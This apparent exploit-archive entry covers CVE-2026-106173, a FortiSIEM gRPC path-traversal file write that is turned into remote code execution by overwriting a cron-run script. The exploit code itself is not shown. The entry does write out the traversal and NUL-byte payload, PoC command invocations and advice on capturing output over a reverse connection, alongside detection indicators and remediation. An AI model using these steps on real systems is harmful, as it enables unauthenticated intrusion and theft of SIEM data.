FortiSIEM gRPC Path Traversal File Write RCE (CVE-2026-106173)
Published: 2026-11-25 • Researcher: Horizon3.ai (repository owner); Zach Hanley / Horizon3 Attack Team (PoC and deep-dive write-up); discovered and reported by Gwendal Guégniaud of the Fortinet Product Security team per FG-IR-26-180
- Severity
- Critical
- CVE
- CVE-2026-106173 (Fortinet FG-IR-26-180)
- Category
- network
- Affected product
- Fortinet FortiSIEM — phQueryMaster gRPC service (phoenix.phoenixSvc/SendQueryResult) on TCP 27918
- Affected versions
- FortiSIEM 7.5.0; FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 all versions (NVD description and FG-IR-26-180). Fixed in 7.5.1; 7.6 and 6.x are not affected. FortiSIEM Cloud is not affected.
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-106173
- https://fortiguard.fortinet.com/psirt/FG-IR-26-180
- https://horizon3.ai/attack-research/cve-2026-106173-deep-dive-fortisiem-grpc-path-traversal-file-write-rce/
- https://github.com/horizon3ai/CVE-2026-106173
- https://fortiguard.fortinet.com/psirt/cvrf/FG-IR-26-180
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-10-20 |
| Author / Researcher | Horizon3.ai (repository owner); Zach Hanley / Horizon3 Attack Team (PoC and deep-dive write-up); discovered and reported by Gwendal Guégniaud of the Fortinet Product Security team per FG-IR-26-180 |
| CVE / Advisory | CVE-2026-106173 (Fortinet FG-IR-26-180) |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H per NVD/Fortinet CVSS; the Fortinet advisory quotes a 9.4 temporal score with E:H/RL:O/RC:C) |
| Status | Weaponized |
| Tags | RCE, path-traversal, CWE-22, arbitrary-file-write, gRPC, HTTP/2, HPACK, NUL-byte, FortiSIEM, unauthenticated, cron |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Fortinet FortiSIEM — phQueryMaster gRPC service (phoenix.phoenixSvc/SendQueryResult) on TCP 27918 |
| Versions Affected | FortiSIEM 7.5.0; FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 all versions (NVD description and FG-IR-26-180). Fixed in 7.5.1; 7.6 and 6.x are not affected. FortiSIEM Cloud is not affected. |
| Language / Platform | FortiSIEM appliance (Linux); gRPC over HTTP/2 with TLS and ALPN h2; client PoC is Python 3 stdlib only |
| Authentication Required | No — the gRPC server is configured without client-certificate authentication and the RPC path is reachable unauthenticated |
| Network Access Required | Yes — TCP 27918 on the FortiSIEM supervisor (the service binds [::]:27918) |
Summary
CVE-2026-106173 is an unauthenticated path traversal and arbitrary file write in the FortiSIEM phQueryMaster gRPC service on TCP 27918. The SendQueryResult handler builds the on-disk result path by concatenating attacker-supplied metadata such as query-id, src-ip, period-start and period-end with only light formatting and no path validation, so traversal sequences escape the query result directory. Because header values are copied using the client-declared length, an attacker can embed a NUL byte and make the operating system truncate the path at that point, gaining exact control of the written filename. Horizon3.ai weaponized the flaw by overwriting /opt/charting/redishb.sh, a Redis health-check script that cron re-executes every 60 seconds, yielding blind command execution as the service account on FortiSIEM 7.5.
Vulnerability Details
Root Cause
In grpcNotificationService::SendQueryResult (grpcNotificationService.cpp, libphGrpcServices.so), the server derives the destination directory as /query/result/ concatenated with the attacker-controlled query-id, creates it with phMiscUtils::mkdir() if missing, and then opens /query/result/<query-id>/result-<srcIp>-<periodStart>-<periodEnd>-<server-id>.dat with std::ofstream and writes the streamed protobuf field file_content into it (dots in src-ip are replaced with underscores, and the trailing <server-id> is a server-side counter). The query-id is never canonicalized, so ../ sequences traverse to any directory the service account can write. Separately, the handler copies each gRPC metadata value using the length declared by the client rather than treating it as a C string, which lets an attacker place a NUL byte inside the query-id; when the concatenated path is later handed to the filesystem, the kernel stops at the NUL and silently discards the server-appended result-...-.dat suffix. The write therefore lands on an exact, attacker-chosen path. This is CWE-22 (improper limitation of a pathname to a restricted directory). The gRPC server uses grpc::SslServerCredentials without requesting a client certificate, so the RPC is reachable by any remote client that can open the port.
Attack Vector
An unauthenticated attacker opens a TLS connection to TCP 27918, negotiates HTTP/2 via ALPN, and sends a gRPC request to /phoenix.phoenixSvc/SendQueryResult with metadata query-id, src-ip, period-start and period-end, plus a protobuf QueryResultReq whose field 1 (file_content) carries the bytes to write. The query-id is crafted as repeated ../ segments followed by the target path and a NUL byte, for example ../../../../../opt/charting/redishb.sh\x00ignored. Standard gRPC libraries and HTTP clients reject NUL bytes in header values, so the PoC hand-assembles the HTTP/2 client preface, SETTINGS, HEADERS (raw non-Huffman HPACK literals) and DATA frames with socket and ssl. No credentials, session, or user interaction are needed.
Impact
Arbitrary file write as the FortiSIEM service account, which on the stock 7.5 appliance can overwrite files writable by the admin context. Horizon3 turned this into code execution by replacing /opt/charting/redishb.sh, which a cron job runs every 60 seconds to health-check Redis: the next invocation executes the attacker’s shell commands as admin. The write is silent and the RPC returns no output, so command execution is blind unless the payload exfiltrates over a separate channel. Full compromise of the FortiSIEM supervisor exposes collected log data, credentials and the management plane of the SIEM deployment.
Environment / Lab Setup
OS: FortiSIEM 7.5.0 supervisor appliance (Linux; virtual appliance or lab hardware)
Target: FortiSIEM 7.5.0 with TCP 27918 reachable (phQueryMaster bound on all interfaces)
Attacker: Python 3.8+ host (Kali/Ubuntu) with network access to TCP 27918
Tools: python3 (stdlib: argparse, socket, ssl, struct, pathlib), openssl s_client
or ss for reachability checks; no third-party packages requiredSetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Verify the target and port — the supervisor must expose TCP 27918; the service speaks gRPC over TLS with ALPN h2 and does not request a client certificate.
Shell script1openssl s_client -connect 10.0.18.X:27918 -alpn h2 </dev/null 2>&1 | head -20Inspect the crafted request offline —
--dry-runprints the HPACK metadata, the embedded NUL offset, the FortiSIEM path expression and the normalized write target without touching the network.Shell script1python3 CVE-2026-106173.py -t 10.0.18.X -c 'id' --dry-runOverwrite the recurring script — the PoC writes
#!/bin/bashplus the command to/opt/charting/redishb.shthrough the traversal and NUL truncation. The target file must already exist (a stock 7.5 appliance has it); the overwrite preserves owner and permissions.Shell script1python3 CVE-2026-106173.py -t 10.0.18.X -c 'id > /tmp/cve-2026-106173-proof'Wait for the cron trigger —
/opt/charting/redishb.shis executed about every 60 seconds, so the payload runs without a further request. Execution is blind; use an out-of-band channel (reverse connection, DNS/HTTP callback, or a file the tester can retrieve separately) to capture output.Arbitrary file variant — for a chosen payload file,
-f payload.bin --overwrite /pathoverwrites an existing file in one request, while--create /pathuses a two-request staging sequence (result-stage-<nonce>-dirdirectory, then a period-end value ofdir/../<name>\x00ignored) to create a new exact filename.
Exploit Code
See
CVE-2026-106173.pyin this folder (upstream name preserved). The upstream README is archived asupstream-README.md.
| |
Expected Output
Dry run (lengths vary with target hostname and HPACK encoding):
[*] Sending:
#!/bin/bash
id
[*] Overwriting existing file: /opt/charting/redishb.sh
[*] RPC: https://10.0.18.X:27918/phoenix.phoenixSvc/SendQueryResult
[*] Transport: HTTP/2 over TLS (ALPN h2)
[*] HTTP/2 client preface: 24 bytes
[*] HTTP/2 frames:
SETTINGS stream=0 flags=0x00 payload=0 bytes
HEADERS stream=1 flags=0x04 END_HEADERS payload=<bytes> bytes
DATA stream=1 flags=0x01 END_STREAM payload=<bytes> bytes
[*] HPACK: literal headers without indexing, non-Huffman values
[*] Metadata:
query-id: b'../../../../../../../../../../../../opt/charting/redishb.sh\x00ignored'
-> embedded NUL at offset 48 (0x00)
-> C-string prefix: b'../../../../../../../../../../../../opt/charting/redishb.sh'
[*] FortiSIEM path expression: b'/query/result/<traversal>/redishb.sh\x00ignored/result-127.0.0.1-0-0-<server-call-id>.dat'
[*] Path NUL offset: <n>; filesystem C string: b'/query/result/<traversal>/redishb.sh'
[*] Normalized write target: /opt/charting/redishb.sh
[+] Sent!
[+] Payload written! Wait approximately one minute for phxctl.service to invoke it (as admin on FortiSIEM 7.5).A live run prints [+] Payload written! but not command output; the injected command executes one cron cycle later. Confirm it through an out-of-band interaction, not from the gRPC response.
Detection & Indicators of Compromise
- Horizon3 states that they found no FortiSIEM application logs that explicitly reveal exploitation; detection relies on file-integrity and network telemetry.
- File modification timestamps on
/opt/charting/redishb.shand/opt/phoenix/bin/phLicenseToolthat do not match surrounding package/install timestamps are the primary host indicator; Horizon3 lists both files as of particular interest. - Content anomaly: the stock redishb.sh is a Redis health-check script; a file beginning with
#!/bin/bashplus attacker commands is compromised. - Process evidence:
sh /opt/charting/redishb.sh(or cron children of it) spawning unexpected commands, reverse shells or outbound connections at roughly 60-second intervals. - Network evidence: inbound TCP 27918 sessions from hosts that are not FortiSIEM administrators, HTTP/2 ALPN h2 handshakes to the port, and long-lived connections to it from scanning infrastructure.
- Filesystem evidence under
/query/result/: unexpected directories or files namedresult-<ip>-<start>-<end>-<id>.dat, and staging directories namedresult-stage-<8 hex>-dirleft by the create variant. - Unexpected or recently created scripts in
/opt/charting/,/opt/phoenix/bin/or other cron-executed paths on the supervisor.
Example host audit:
| |
SIEM / IDS rule (example, metadata only — payload is inside TLS):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade FortiSIEM 7.5.0 to 7.5.1 or later. FortiSIEM 7.4, 7.3, 7.2, 7.1 and 7.0 are addressed only by migrating to a fixed release (7.5.1+); 7.6 and 6.x are not affected. |
| Workaround | Restrict access to TCP 27918 so only trusted administrative sources can reach the supervisor; the Fortinet advisory states this prevents the issue. Do not expose the port to the internet or untrusted VLANs. |
| Config Hardening | Segment the FortiSIEM management plane, front it with an allow-listed jump host or firewall policy, enable file-integrity monitoring on cron-executed scripts such as /opt/charting/redishb.sh, audit cron and service-script content regularly, and alert on unexpected 27918 connections. |
References
Notes
Auto-ingested from https://github.com/horizon3ai/CVE-2026-106173 on 2026-11-25.
Review verdict: this is a real exploit PoC, not a detector/scanner. The single Python script implements the full unauthenticated chain (HTTP/2 + raw HPACK framing, traversal and NUL truncation, arbitrary file write, and the overwrite of the cron-executed /opt/charting/redishb.sh for command execution). It was reviewed statically and was not executed during ingestion.
License status: the upstream repository has no LICENSE file, so the code is archived with attribution under default copyright for authorized security research only; no license is granted by upstream.
Limitations and accuracy notes: command execution is blind and asynchronous — the RPC returns no command output, and the payload fires on the next phxctl.service/cron cycle (roughly 60 seconds). The -c/--command mode only overwrites /opt/charting/redishb.sh, so that file must exist and be writable by the service account (stock 7.5). --overwrite likewise truncates an existing file; --create uses a two-request staging sequence and leaves a staging directory behind. TLS certificate verification is intentionally disabled in the PoC (CERT_NONE), matching a typical self-signed appliance, so it is not hardened tooling. Upstream was verified against FortiSIEM 7.5.0 per the Horizon3 write-up; behaviour on 7.4 and earlier is affected per the advisory but was not shown in the PoC. Run only against systems you own or have written authorization to test.
| |